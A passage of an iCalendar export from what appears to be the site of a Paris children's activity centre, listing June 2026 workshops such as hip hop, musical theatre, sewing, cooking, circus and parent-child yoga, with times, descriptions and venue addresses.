URL:https://apprends-et-reve.fr/activite/apprendre-a-coder-et-creer-son-propre-jeu-video-2/2026-06-17/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Codage,Informatique et numérique ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2020/07/img_ex_slider_3.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260617T140000 DTEND;TZID=Europe/Paris:20260617T180000 DTSTAMP:20260121T170313 CREATED:20250516T001212Z LAST-MODIFIED:20250521T125632Z UID:10019010-1781704800-1781719200@apprends-et-reve.fr SUMMARY:Mercredi multi activités: dessin académique + hip hop + couture DESCRIPTION:Avec cette formule\, nous proposons à vos enfants de participer à trois activités consécutives et une prise en charge entre 14h00 et 18h00\, tout en bénéficiant d’un tarif très avantageux. \nVotre enfant fera les trois activités suivantes: Dessin académique\, hip hop et couture. \nChacune de ces activités est dirigée par un professeur diplômé. \nChaque mercredi\, votre enfant aura la chance de participer à 3 activités totalement différentes mais complémentaires qui lui permettront de s’épanouir pleinement et révéler tous ses talents. URL:https://apprends-et-reve.fr/activite/mercredi-multi-activites-dessin-academique-hip-hop-couture/2026-06-17/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Multi activités ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2021/05/Danse-enfant-2.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260617T141500 DTEND;TZID=Europe/Paris:20260617T153000 DTSTAMP:20260121T170313 CREATED:20250505T151035Z LAST-MODIFIED:20250505T152134Z UID:10016169-1781705700-1781710200@apprends-et-reve.fr SUMMARY:Gymnastique rythmique\, harmonie\, agilité\, dextérité DESCRIPTION:Corde\, ruban\, massue\, cerceau\, massue\, autant d’instruments pour pratiquer la gymnastique rythmique et qui font rêver plus d’une petite fille ! \nCes cinq engins doivent continuellement être utilisés par la gymnaste lors des enchainements et chorégraphie. Sauter\, pivoter\, rouler ou rester en équilibre\, tout en manipulant ces objets n’est pas tâche facile. Mais c’est un challenge à la portée de nos sportives si elles osent l’aventure ! URL:https://apprends-et-reve.fr/activite/copie-de-gymnastique-rythmique-harmonie-agilite-dexterite/2026-06-17/ LOCATION:TEP Sarrail\, 8 Avenue du Général Sarrail\, Paris\, 75016\, France CATEGORIES:Activité physique / sportive,GR ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2017/01/GRS-Web-67.jpg GEO:48.8457833;2.2559899 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=TEP Sarrail 8 Avenue du Général Sarrail Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=8 Avenue du Général Sarrail:geo:2.2559899,48.8457833 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260617T150000 DTEND;TZID=Europe/Paris:20260617T160000 DTSTAMP:20260121T170313 CREATED:20250505T155103Z LAST-MODIFIED:20250505T155103Z UID:10016249-1781708400-1781712000@apprends-et-reve.fr SUMMARY:Hip Hop: L' art du mouvement DESCRIPTION:L’ atelier hebdomadaire de hip-hop permet aux enfants et aux jeunes de jouer avec des codes et des sonorités actuelles. Vecteur de connaissance de son corps et de confiance en soi à travers la découverte de figures debout ou au sol\, la danse hip-hop dite breakdance développe également la créativité des enfants à travers l’improvisation (freestyle). \nPar les chorégraphies\, le hip-hop est aussi un moment d’échange privilégié et de partage.\nDans cet atelier\, les enfants apprendront les figures de base de cet art\, leur permettant ainsi de commencer à improviser et s’amuser en rythme. URL:https://apprends-et-reve.fr/activite/hip-hop-l-art-du-mouvement/2026-06-17/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Danse,Hip Hop/Breakdance ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2020/09/img_categorie_theme_breakdance_home.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260617T153000 DTEND;TZID=Europe/Paris:20260617T163000 DTSTAMP:20260121T170313 CREATED:20250515T230021Z LAST-MODIFIED:20250523T134739Z UID:10021193-1781710200-1781713800@apprends-et-reve.fr SUMMARY:Boxe: aller au combat DESCRIPTION:Que ce soit la boxe thaï ou la boxe anglaise\, cette activité permettra aux enfants  de se défouler mais aussi d’apprendre à respecter son partenaire et des règles. \nMaîtriser le corps à corps\, améliorer sa motricité\, se muscler… autant d’avantages à pratiquer ce sport. URL:https://apprends-et-reve.fr/activite/boxe-aller-au-combat/2026-06-17/ LOCATION:TEP Sarrail\, 8 Avenue du Général Sarrail\, Paris\, 75016\, France CATEGORIES:Activité physique / sportive ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2025/05/Boxe-7-11-ans.jpeg GEO:48.8457833;2.2559899 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=TEP Sarrail 8 Avenue du Général Sarrail Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=8 Avenue du Général Sarrail:geo:2.2559899,48.8457833 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260617T160000 DTEND;TZID=Europe/Paris:20260617T173000 DTSTAMP:20260121T170313 CREATED:20250506T132359Z LAST-MODIFIED:20250522T150102Z UID:10016729-1781712000-1781717400@apprends-et-reve.fr SUMMARY:Comédie musicale: Du rêve à la scène\, pour les 5-8 ans DESCRIPTION:CET ATELIER EST DESTINÉ AUX ENFANTS ÂGÉS DE 5 À 8 ANS UNIQUEMENT – Chant\, danse\, théâtre et musique sont les fils directeur de cet atelier. Danser\, jouer et chanter de manière simultanée\, mais aussi raconter une histoire. Les enfants apprendront une chorégraphie\, mais surtout à chanter et danser dans un ensemble. Tous en même temps chantant la même partition\, dansant la même chorégraphie et racontant la même histoire. Telle est la force de la comédie musicale.\nIls seront pour cela entourés et dirigés par trois grands professionnels qui\, pour la première fois\, enseigneront dans le XVIème arrondissement de Paris : Stephy Haik (chant)\, Maria Laura Baccarini (théâtre et danse) et Sébastien Ménard (piano). URL:https://apprends-et-reve.fr/activite/comedie-musicale-du-reve-a-la-scene-pour-les-5-8-ans/2026-06-17/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Comédie musicale,Danse,Musique / son,Théâtre ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2017/01/comedie2015-50-e1489508546134-scaled.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260617T163000 DTEND;TZID=Europe/Paris:20260617T173000 DTSTAMP:20260121T170313 CREATED:20250526T101921Z LAST-MODIFIED:20250526T101921Z UID:10021395-1781713800-1781717400@apprends-et-reve.fr SUMMARY:Théâtre: Jouer et vivre DESCRIPTION:Jouer est un personnage avec des amis\, dans la cour de récré ou à la maison\, c’est assez simple. Être en représentation devant les autres\, sur une scène de théâtre\, c’est une autre paire de manches ! Notre atelier permet aux enfants d’apprendre à incarner un personnage\, « exister » sur une scène\, savoir placer sa voix\, raconter une histoire\, dire un texte\, interagir avec les autres. En résumé : être un acteur. Notre atelier s’articule autour d’un échauffement corporel et vocal afin de mettre en marche la machine dramatique des enfants. Des jeux permettent de créer une véritable cohésion de groupe ou de travailler des notions précises. \nLes enfants pourront alors aborder le jeu à partir d’une histoire racontée par l’animateur. Dans cet atelier\, les enfants apprendront à occuper l’espace\, à poser leur voix et à jouer avec les autres. Ensuite\, ils pourront\, grâce à des sketchs\, puis des scènes ou extrait de scènes\, incarner des personnages divers et variés. Et enfin\, ils participeront à la création d’une pièce où chacun tiendra « Son » rôle. URL:https://apprends-et-reve.fr/activite/theatre-jouer-et-vivre-7/2026-06-17/ LOCATION:TEP Sarrail\, 8 Avenue du Général Sarrail\, Paris\, 75016\, France CATEGORIES:Théâtre ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2020/11/AR-gala2019-3theatre_7_12.jpg GEO:48.8457833;2.2559899 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=TEP Sarrail 8 Avenue du Général Sarrail Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=8 Avenue du Général Sarrail:geo:2.2559899,48.8457833 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260617T163000 DTEND;TZID=Europe/Paris:20260617T180000 DTSTAMP:20260121T170313 CREATED:20250516T153902Z LAST-MODIFIED:20250523T085843Z UID:10019957-1781713800-1781719200@apprends-et-reve.fr SUMMARY:Premiers points dans la Haute Couture DESCRIPTION:Avec cet atelier dirigé par Isabelle\, ancienne de Dior\, Chanel\, Lanvin et formatrice à l’Institut de la Mode\, nous proposons aux enfants d’apprendre l’art de la couture et les techniques pour réaliser\, finitions comprises\, des tenues originales. \nDu patronage à la réalisation finale\, votre enfant va mettre en œuvre un ensemble de techniques assemblage\, ourlet\, parementure\, revers de jambe et poches. \nDurant cet atelier\, votre enfant va aussi faire appel à ses compétences en logique\, mathématique\, géométrie dans l’espace .Et oui ! coudre c’est compter\, mesurer\, tracer\, multiplier\, anticiper\, se projeter. Il aura\, presque à son insu\, mis en pratique des notions « scolaires » et pourra en afficher fièrement le résultat ! De quoi éblouir. URL:https://apprends-et-reve.fr/activite/premiers-points-dans-la-haute-couture-2/2026-06-17/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Couture ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2021/11/Couture-Depositphotos_243661562_S.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260617T171500 DTEND;TZID=Europe/Paris:20260617T183000 DTSTAMP:20260121T170313 CREATED:20250516T154814Z LAST-MODIFIED:20250523T092723Z UID:10020193-1781716500-1781721000@apprends-et-reve.fr SUMMARY:Être créatif\, c'est tout un Art DESCRIPTION:Pour certains artistes contemporains\, ne pas savoir dessiner est un plus. Il permet à la créativité de s’exprimer plus librement et complètement. Avec l’atelier arts plastiques\, les enfants ne vont pas apprendre à dessiner mais à laisser voguer leur imagination. Ils vont apprendre à travailler des matériaux aussi divers que la terre\, le fil de fer\, le tissu\, le carton\, le papier\, de la mosaïque\, la laine\, la mousse expansive… \nIls utiliseront crayons papier\, crayons de couleur\, feutres\, peinture. Ils découperont\, colleront\, agraferont\, plieront… Ils créeront des histoires\, feront des romans-photos\, des films\, des installations\, mêlant musique\, histoire\, images. Les enfants seront des artistes à part entière. URL:https://apprends-et-reve.fr/activite/etre-creatif-cest-tout-un-art/2026-06-17/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Arts plastiques / créativité,Musique / son ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2020/09/img_categorie_theme_arts_plastiques_home.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260617T173000 DTEND;TZID=Europe/Paris:20260617T190000 DTSTAMP:20260121T170313 CREATED:20250507T094953Z LAST-MODIFIED:20250522T155427Z UID:10016889-1781717400-1781722800@apprends-et-reve.fr SUMMARY:Comédie musicale: du rêve à la scène\, pour les 8-12 ans DESCRIPTION:ATELIER DESTINÉ AUX ENFANTS ET ADOS ÂGÉS DE 8 À 13 ANS – Musique\, chant\, théâtre et danse seront les fils rouge de ce cours. Danser\, chanter et jouer de manière simultanée\, mais aussi raconter une histoire. Les enfants apprennent une chorégraphie\, mais surtout à danser et chanter ensemble. Tous en même temps interprétant la même partition\, dansant la même chorégraphie et racontant la même histoire. Telle est la force de la comédie musicale. \nIls seront pour cela entourés et dirigés par trois grands professionnels de la musique et du théâtre qui\, pour la première fois\, enseignent ensemble dans le 16ème arrondissement de Paris : Stephy Haik\, professeur de chant\, Maria Laura Baccarini\, professeur de danse et théâtre et Joseph Robinne\, pianiste. URL:https://apprends-et-reve.fr/activite/comedie-musicale-du-reve-a-la-scene-pour-les-8-12-ans/2026-06-17/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Comédie musicale,Danse,Musique / son,Théâtre ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2017/01/Gala-2016-360-scaled.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260618T170000 DTEND;TZID=Europe/Paris:20260618T180000 DTSTAMP:20260121T170313 CREATED:20201125T132637Z LAST-MODIFIED:20250505T140122Z UID:10009165-1781802000-1781805600@apprends-et-reve.fr SUMMARY:Apprendre le jeu d’acteur: tous en scène ! (Pour les 6-8 ans) DESCRIPTION:ATELIER DESTINÉ AUX ENFANTS ÂGÉS DE 6 À 8 ANS – S’il est facile de jouer un personnage seul\, ou avec des amis dans la cour de récréation ou à la maison\, être « en représentation » sur une scène devant les autres\, c’est une autre paire de manches ! \nNous proposons aux enfants d’apprendre à exister sur scène\, incarner un personnage\, déclamer un texte\, interagir avec les autres\, raconter une histoire… Bref\, être un acteur ! \nLe théâtre est une véritable porte d’entrée vers le futur\, une école à la découverte de soi. URL:https://apprends-et-reve.fr/activite/apprendre-le-jeu-dacteur-tous-en-scene-2/2026-06-18/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Théâtre ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2020/11/AR-gala2019-6theatre_7_12.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260618T170000 DTEND;TZID=Europe/Paris:20260618T181500 DTSTAMP:20260121T170313 CREATED:20230515T005056Z LAST-MODIFIED:20250506T110204Z UID:10015337-1781802000-1781806500@apprends-et-reve.fr SUMMARY:Let’s learn english! Pour les 6-9 ans DESCRIPTION:POUR LES ENFANTS ÂGÉS DE 6 À 9 ANS \nMusique\, jeu\, dessin\, jeux de rôle\, découpage\, chant… tous les moyens sont bons pour faire découvrir et apprendre l’anglais. Grâce à Ariel\, professeur américain\, la langue de Shakespeare n’aura plus de secrets pour vos chères têtes blondes. \nCar transmettre sa langue maternelle est une vraie passion pour Ariel. Tout comme créer des liens avec les enfants\, savoir les passionner\, les faire participer\, les faire communiquer. \nEn s’appuyant sur la méthode de Cambridge\, cet atelier préparera vos enfants à passer\, s’ils le souhaitent\, « The young learners Cambridge exam ». \nCet atelier est le parfait complément à l’atelier de Théâtre en anglais proposé le mardi après-midi ou le mercredi matin: \nhttps://apprends-et-reve.fr/activite/ris/2021-09-21/ \nhttps://apprends-et-reve.fr/activite/parler-pour-jouer-4/2021-09-22/ URL:https://apprends-et-reve.fr/activite/lets-learn-english-pour-les-6-8-ans/2026-06-18/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Anglais,Initiation à l'anglais ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2021/04/americain-anglais-exterieurDepositphotos_101992770_s-2019.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260618T170000 DTEND;TZID=Europe/Paris:20260618T181500 DTSTAMP:20260121T170313 CREATED:20250515T223148Z LAST-MODIFIED:20250523T143243Z UID:10021310-1781802000-1781806500@apprends-et-reve.fr SUMMARY:Cuisine: de délicieuses découvertes DESCRIPTION:Les ateliers Cuisine chez Apprends et Rêve offrent aux enfants l’opportunité d’explorer le monde culinaire en préparant des recettes simples et savoureuses. \nCes activités stimulent la créativité\, favorisent l’autonomie et encouragent la découverte de produits sains\, tout en sensibilisant les enfants à des habitudes alimentaires équilibrées. \nL’objectif ? Apprendre à manipuler des ingrédients\, respecter les étapes de préparation et partager un moment convivial\, tout en éveillant leur goût et leur sens de la responsabilité en cuisine. \nUne expérience enrichissante pour développer des compétences pratiques tout en s’amusant et se régalant ! URL:https://apprends-et-reve.fr/activite/cuisine-de-delicieuses-decouvertes-2/2026-06-18/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Cuisine ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2025/05/Cuisine-7-11-ans.jpeg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260618T180000 DTEND;TZID=Europe/Paris:20260618T190000 DTSTAMP:20260121T170313 CREATED:20201125T135358Z LAST-MODIFIED:20250506T085121Z UID:10009214-1781805600-1781809200@apprends-et-reve.fr SUMMARY:Modern/ Street Jazz: Danser comme dans les clips (pour les 8-11 ans) DESCRIPTION:Qui n’a jamais rêvé de savoir danser comme Michael Jackson ? Le Street Jazz Dance est une version chorégraphiée du Hip Hop. Vous ne connaissez pas encore le poppin\, le boogaloo ou encore la wave dance ? Ça ne va pas durer. \nIl vous suffira d’admirer vos enfants interpréter ce qu’ils viennent de répéter. Ou bien de regarder les clips de RnB américain\, véritables vitrines du Street Jazz. \nEn plus d’apprendre les pas et chorégraphies de la danse moderne et du Street Jazz Danse\, cet atelier permettra aux enfants d’apprendre à exprimer leurs émotions à travers la danse et de se sentir bien dans leur corps. URL:https://apprends-et-reve.fr/activite/comme-dans-les-clips-3/2026-06-18/ LOCATION:Salle de danse du Centre sportif Suchet\, 26 avenue du Maréchal Franchet d’Esperey\, Paris\, 75016\, France CATEGORIES:Danse,Modern Street / Jazz ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2020/11/AR-gala2019-1streetJazz_7_12.jpg GEO:48.8550307;2.2619979 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Salle de danse du Centre sportif Suchet 26 avenue du Maréchal Franchet d’Esperey Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=26 avenue du Maréchal Franchet d’Esperey:geo:2.2619979,48.8550307 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260618T180000 DTEND;TZID=Europe/Paris:20260618T191500 DTSTAMP:20260121T170313 CREATED:20250515T222319Z LAST-MODIFIED:20250523T131946Z UID:10021076-1781805600-1781810100@apprends-et-reve.fr SUMMARY:Théâtre: jouer et vivre DESCRIPTION:Chez Apprends et Rêve\, le théâtre est une invitation à la découverte de soi et à l’expression personnelle ! \nAu programme : Techniques théâtrales\, improvisation et performances sur scène\, tout en développant confiance en soi\, écoute et créativité. \nPour les plus jeunes : Un moyen ludique de gérer leurs émotions et s’exprimer pleinement. Pour les ados : Un espace pour perfectionner leur jeu\, interagir avec le public et affiner diction et posture. \nUne activité qui encourage épanouissement personnel\, interactions enrichissantes et développement des talents dans un cadre inspirant ! URL:https://apprends-et-reve.fr/activite/theatre-jouer-et-vivre-4/2026-06-18/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Théâtre ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2025/05/Theatre-7-11-ans-scaled.jpeg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260619T164500 DTEND;TZID=Europe/Paris:20260619T180000 DTSTAMP:20260121T170313 CREATED:20201125T140101Z LAST-MODIFIED:20250506T143633Z UID:10009263-1781887500-1781892000@apprends-et-reve.fr SUMMARY:Cirque: des défis et des jeux pour les 7-12 ans DESCRIPTION:Manipulation d’objets\, acrobatie\, équilibre sur objets… L’atelier cirque a pour but le développement physique des enfants à travers différentes disciplines du cirque : l’acrobatie\, le jonglage ou encore le funambulisme par exemple. \nIl permettra aux enfants de découvrir leur capacité de jeux et d’expression corporelle\, à travers le rapport à l’autre et au collectif.\nLes enfants prépareront tout au long de l’année un petit spectacle mobilisant tous les acquis de l’année. URL:https://apprends-et-reve.fr/activite/des-defis-et-des-jeux-2/2026-06-19/ LOCATION:Gymnase des Bauches\, 14 rue des Bauches\, Paris\, 75016\, France CATEGORIES:Cirque ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2020/11/AR-gala2019-3cirque7_12.jpg GEO:48.8560433;2.2738702 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Gymnase des Bauches 14 rue des Bauches Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=14 rue des Bauches:geo:2.2738702,48.8560433 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260619T164500 DTEND;TZID=Europe/Paris:20260619T180000 DTSTAMP:20260121T170313 CREATED:20201125T141014Z LAST-MODIFIED:20250507T134545Z UID:10009313-1781887500-1781892000@apprends-et-reve.fr SUMMARY:La gymnastique autrement DESCRIPTION:À PARTIR DE 8 ANS UNIQUEMENT – La gymnastique rythmique (GR)\, anciennement appelée gymnastique rythmique et sportive (GRS) est une discipline olympique depuis 1984. Elle se pratique soit en individuel soit en groupe de 5 gymnastes. \nDiscipline esthétique par excellence\, elle se situe à mi-chemin entre l’art et le sport\, par le maniement d’engins et l’exécution physique de chaque exercice. La « rythmique » se fait art lorsque le corps en mouvement s’imprègne d’élégance et d’harmonie. Cela permet de développer à la fois force\, souplesse et équilibre sans négliger une certaine agilité indispensable pour les sauts\, un sens aigu de l’orientation dans l’espace et une dextérité d’artiste pour le maniement des engins (le ballon\, la corde\, le cerceau les massues et le ruban. \n  URL:https://apprends-et-reve.fr/activite/la-gymnastique-autrement/2026-06-19/ LOCATION:Gymnase des Bauches\, 14 rue des Bauches\, Paris\, 75016\, France CATEGORIES:Activité physique / sportive,GR ATTACH;FMTTYPE=image/png:https://apprends-et-reve.fr/wp-content/uploads/2021/01/GR.png GEO:48.8560433;2.2738702 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Gymnase des Bauches 14 rue des Bauches Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=14 rue des Bauches:geo:2.2738702,48.8560433 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260619T164500 DTEND;TZID=Europe/Paris:20260619T180000 DTSTAMP:20260121T170313 CREATED:20220519T204008Z LAST-MODIFIED:20250507T122108Z UID:10013520-1781887500-1781892000@apprends-et-reve.fr SUMMARY:Défier l’apesanteur: entre acrobatie et gymnastique DESCRIPTION:Salto\, saut\, grand écart\, enchaînement de figures… Entre acrobatie\, gymnastique et cirque\, cet atelier permettra aux enfants de tester leur limite et parfois de se faire peur… en toute sécurité. \nLes enfants apprendront à tester leur corps et à le maîtriser. Ils l’assoupliront tout en le musclant et réaliseront des figures qui leur semblait\, au départ\, impossible. URL:https://apprends-et-reve.fr/activite/defier-lapesanteur-entre-acrobatie-et-gymnastique/2026-06-19/ LOCATION:Gymnase des Bauches\, 14 rue des Bauches\, Paris\, 75016\, France CATEGORIES:Acrobatie / Gymnastique,Activité physique / sportive ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2021/05/gymnastique-1.jpg GEO:48.8560433;2.2738702 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Gymnase des Bauches 14 rue des Bauches Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=14 rue des Bauches:geo:2.2738702,48.8560433 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260620T103000 DTEND;TZID=Europe/Paris:20260620T113000 DTSTAMP:20260121T170313 CREATED:20201125T143449Z LAST-MODIFIED:20250507T162137Z UID:10011559-1781951400-1781955000@apprends-et-reve.fr SUMMARY:Viser l’harmonie\, ensemble grâce au Yoga et à l’Acroyoga (Parent/enfant\, 5-8 ans) DESCRIPTION:ADAPTÉ AUX ENFANTS DE 5 À 8 ANS (et leur parent) – Après une brève session de yoga personnel et traditionnel\, puis quelques postures en couple\, vient le temps de l’acroyoga\, « le moment préféré des enfants ! Il permet de développer l’esprit d’équipe\, la confiance en soi et la confiance mutuelle entre les partenaires. Il aide à se relaxer\, se concentrer\, augmenter son sens de l’équilibre\, renforcer son tonus musculaire… entre autre ! ». \nPrendre le temps de partager ensemble une activité. Découvrir les bienfaits de la respiration et de la méditation. Faire bouger son corps de concert. \nLe yoga vise à obtenir l’harmonie\, rétablir l’énergie. Il permet\, via la respiration\, une détente corporelle et psychique. \nSans oublier d’encourager l’expression de la créativité et de l’imagination\, tout en favorisant le sommeil. Ce qui n’empêche pas d’affûter son corps en pratiquant les exercices corporels et différentes postures. \nAvec Christelle et Penelope\, les enfants découvriront le yoga de manière ludique et imagée. Parents et enfants apprendront à repousser les limites de l’attraction terrestre grâce à l’acroyoga. Un moment pour apprendre aussi à se redécouvrir les uns les autres et prendre du temps pour l’autre et avec l’autre. URL:https://apprends-et-reve.fr/activite/viser-lharmonie-ensemble-grace-au-yoga-et-a-lacroyoga-2/2026-06-20/ LOCATION:Salle de danse du Centre sportif Suchet\, 26 avenue du Maréchal Franchet d’Esperey\, Paris\, 75016\, France CATEGORIES:Acroyoga,Yoga,Yoga et Acroyoga parent / enfant,Yoga parent / enfant ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2017/03/PHOTO-2020-01-25-12-46-59-e1591030970832.jpg GEO:48.8550307;2.2619979 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Salle de danse du Centre sportif Suchet 26 avenue du Maréchal Franchet d’Esperey Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=26 avenue du Maréchal Franchet d’Esperey:geo:2.2619979,48.8550307 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260620T103000 DTEND;TZID=Europe/Paris:20260620T114500 DTSTAMP:20260121T170313 CREATED:20201228T211429Z LAST-MODIFIED:20250526T094320Z UID:10020686-1781951400-1781955900@apprends-et-reve.fr SUMMARY:Théâtre en anglais – Jouer pour parler DESCRIPTION:Apprendre l’anglais\, c’est bien. Savoir le parler\, c’est mieux. Et quoi de mieux que le théâtre pour atteindre ce but ? Avec Anne\, comédienne\, actrice et scénariste\, les ados pratiqueront l’anglais dans un contexte\, celui de la scène qu’ils répètent\, celui du jeu. Chaque scène aura pour but de leur faire découvrir un univers et le vocabulaire lié. Mais pour communiquer\, il faut faire des phrases. Sans s’en rendre compte\, les ados considéreront l’anglais non plus comme des mots et un vocabulaire à savoir\, mais comme une façon de parler ensemble. URL:https://apprends-et-reve.fr/activite/theatre-en-anglais-jouer-pour-parler-2/2026-06-20/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Anglais,Théâtre,Théâtre en anglais ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2017/01/Gala-2016-456-e1489517614832-scaled.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 